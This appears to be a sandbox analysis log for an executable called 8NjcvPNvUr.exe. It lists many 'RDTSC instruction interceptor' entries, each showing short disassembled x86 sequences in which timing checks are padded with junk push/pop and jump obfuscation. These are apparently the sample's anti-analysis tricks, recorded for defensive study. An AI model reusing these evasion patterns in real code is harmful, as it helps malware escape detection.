Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00BA8 second address: 4C00BCE instructions: 0x00000000 rdtsc 0x00000002 mov eax, 5AB423F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b jmp 00007FD1807ED54Ah 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD1807ED54Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00BCE second address: 4C00BF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 42C4h 0x00000007 mov bx, C730h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebx 0x0000000f jmp 00007FD180B5C15Fh 0x00000014 xchg eax, ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 movsx edi, cx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00BF4 second address: 4C00C19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bh, cl 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00C19 second address: 4C00C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00C1E second address: 4C00C3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED552h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00C3B second address: 4C00C41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00C41 second address: 4C00C47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00C47 second address: 4C00C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00C4B second address: 4C00C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+14h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD1807ED559h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C00C71 second address: 4C00C76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10E33 second address: 4C10E37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10E37 second address: 4C10E50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C165h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10E50 second address: 4C10E56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10E56 second address: 4C10E65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10E65 second address: 4C10E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10E69 second address: 4C10E6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10AE2 second address: 4C10B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xchg eax, ebp 0x00000006 jmp 00007FD1807ED54Ah 0x0000000b push eax 0x0000000c jmp 00007FD1807ED54Bh 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD1807ED550h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10B13 second address: 4C10B17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10B17 second address: 4C10B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10B1D second address: 4C10B23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10B23 second address: 4C10B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10B27 second address: 4C10B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10B2B second address: 4C10B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10B3B second address: 4C10B4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10B4C second address: 4C10B5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1807ED54Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C10B5C second address: 4C10B76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov esi, 0050303Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C9070F second address: 4C9071E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C8085E second address: 4C80864 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80864 second address: 4C80868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80868 second address: 4C8086C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C8086C second address: 4C8087A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov ah, 35h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C8087A second address: 4C808C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C167h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FD180B5C168h 0x0000000f add si, 58D8h 0x00000014 jmp 00007FD180B5C15Bh 0x00000019 popfd 0x0000001a popad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C808C7 second address: 4C808CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C808CB second address: 4C808CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C808CF second address: 4C808D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C808D5 second address: 4C808ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C808ED second address: 4C80900 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80900 second address: 4C80906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80906 second address: 4C8090A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C8090A second address: 4C80934 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD180B5C165h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80934 second address: 4C8093A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C8093A second address: 4C8093E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C8093E second address: 4C80957 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b call 00007FD1807ED54Bh 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80727 second address: 4C8072D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C8072D second address: 4C80731 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80731 second address: 4C8074E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD180B5C160h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C8074E second address: 4C80752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80752 second address: 4C80758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80758 second address: 4C80794 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD1807ED54Ch 0x00000009 adc si, 62A8h 0x0000000e jmp 00007FD1807ED54Bh 0x00000013 popfd 0x00000014 push esi 0x00000015 pop edi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esp], ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD1807ED551h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80794 second address: 4C80799 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20227 second address: 4C20253 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FD1807ED553h 0x00000012 pop eax 0x00000013 mov ecx, edx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C20253 second address: 4C202B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD180B5C160h 0x00000008 push ecx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007FD180B5C15Dh 0x00000014 pushfd 0x00000015 jmp 00007FD180B5C160h 0x0000001a xor cl, 00000008h 0x0000001d jmp 00007FD180B5C15Bh 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FD180B5C165h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C202B3 second address: 4C202B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C202B9 second address: 4C202BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C202BD second address: 4C202CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushad 0x0000000c mov dh, 9Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80BB0 second address: 4C80BDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C160h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD180B5C167h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80BDF second address: 4C80C2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD1807ED54Fh 0x00000009 sbb eax, 44BDDF1Eh 0x0000000f jmp 00007FD1807ED559h 0x00000014 popfd 0x00000015 jmp 00007FD1807ED550h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 pop esi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80C2B second address: 4C80C88 instructions: 0x00000000 rdtsc 0x00000002 mov bx, 4A3Ah 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movsx edx, ax 0x0000000e mov ecx, 72B097BFh 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 movzx ecx, di 0x0000001a movsx edx, ax 0x0000001d popad 0x0000001e push dword ptr [ebp+0Ch] 0x00000021 pushad 0x00000022 popad 0x00000023 push dword ptr [ebp+08h] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FD180B5C15Fh 0x0000002f xor esi, 392953EEh 0x00000035 jmp 00007FD180B5C169h 0x0000003a popfd 0x0000003b movzx ecx, dx 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80C88 second address: 4C80CA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1807ED559h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80CA5 second address: 4C80D4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007FD180B5C159h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FD180B5C163h 0x00000017 adc cx, 0C0Eh 0x0000001c jmp 00007FD180B5C169h 0x00000021 popfd 0x00000022 popad 0x00000023 push eax 0x00000024 pushad 0x00000025 pushad 0x00000026 mov dl, 3Dh 0x00000028 mov cx, BAA5h 0x0000002c popad 0x0000002d mov edx, ecx 0x0000002f popad 0x00000030 mov eax, dword ptr [esp+04h] 0x00000034 jmp 00007FD180B5C167h 0x00000039 mov eax, dword ptr [eax] 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e mov edx, esi 0x00000040 pushfd 0x00000041 jmp 00007FD180B5C15Eh 0x00000046 and si, 2018h 0x0000004b jmp 00007FD180B5C15Bh 0x00000050 popfd 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80D4A second address: 4C80D94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007FD1807ED54Bh 0x0000000b xor ax, 44DEh 0x00000010 jmp 00007FD1807ED559h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e mov ecx, edx 0x00000020 mov bh, 8Ah 0x00000022 popad 0x00000023 pop eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 movsx ebx, ax 0x0000002a mov ecx, 74DB3F8Fh 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80D94 second address: 4C80D9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80DAE second address: 4C80DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80DB2 second address: 4C80DB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80DB8 second address: 4C80DDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED557h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx eax, al 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80DDC second address: 4C80DF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C167h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80DF7 second address: 4C80DFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80DFD second address: 4C80E19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FD180B5C15Fh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C80E19 second address: 4C80E31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1807ED554h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30660 second address: 4C30666 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30666 second address: 4C30686 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD1807ED554h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30686 second address: 4C306CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FD180B5C159h 0x0000000e pushad 0x0000000f mov ecx, 75AAF68Bh 0x00000014 pushfd 0x00000015 jmp 00007FD180B5C160h 0x0000001a sub eax, 273A9698h 0x00000020 jmp 00007FD180B5C15Bh 0x00000025 popfd 0x00000026 popad 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C306CF second address: 4C306D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C306D3 second address: 4C306D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C306D9 second address: 4C306DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C306DE second address: 4C3070F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007FD180B5C162h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD180B5C15Eh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C3070F second address: 4C30721 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1807ED54Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C30721 second address: 4C3078F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007FD180B5C169h 0x00000014 pop eax 0x00000015 jmp 00007FD180B5C15Eh 0x0000001a push 41C039FBh 0x0000001f pushad 0x00000020 mov dl, BBh 0x00000022 mov di, si 0x00000025 popad 0x00000026 xor dword ptr [esp], 373097FBh 0x0000002d jmp 00007FD180B5C162h 0x00000032 mov eax, dword ptr fs:[00000000h] 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C3078F second address: 4C307AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED559h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C307AC second address: 4C307BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD180B5C15Ch 0x00000009 rdtsc
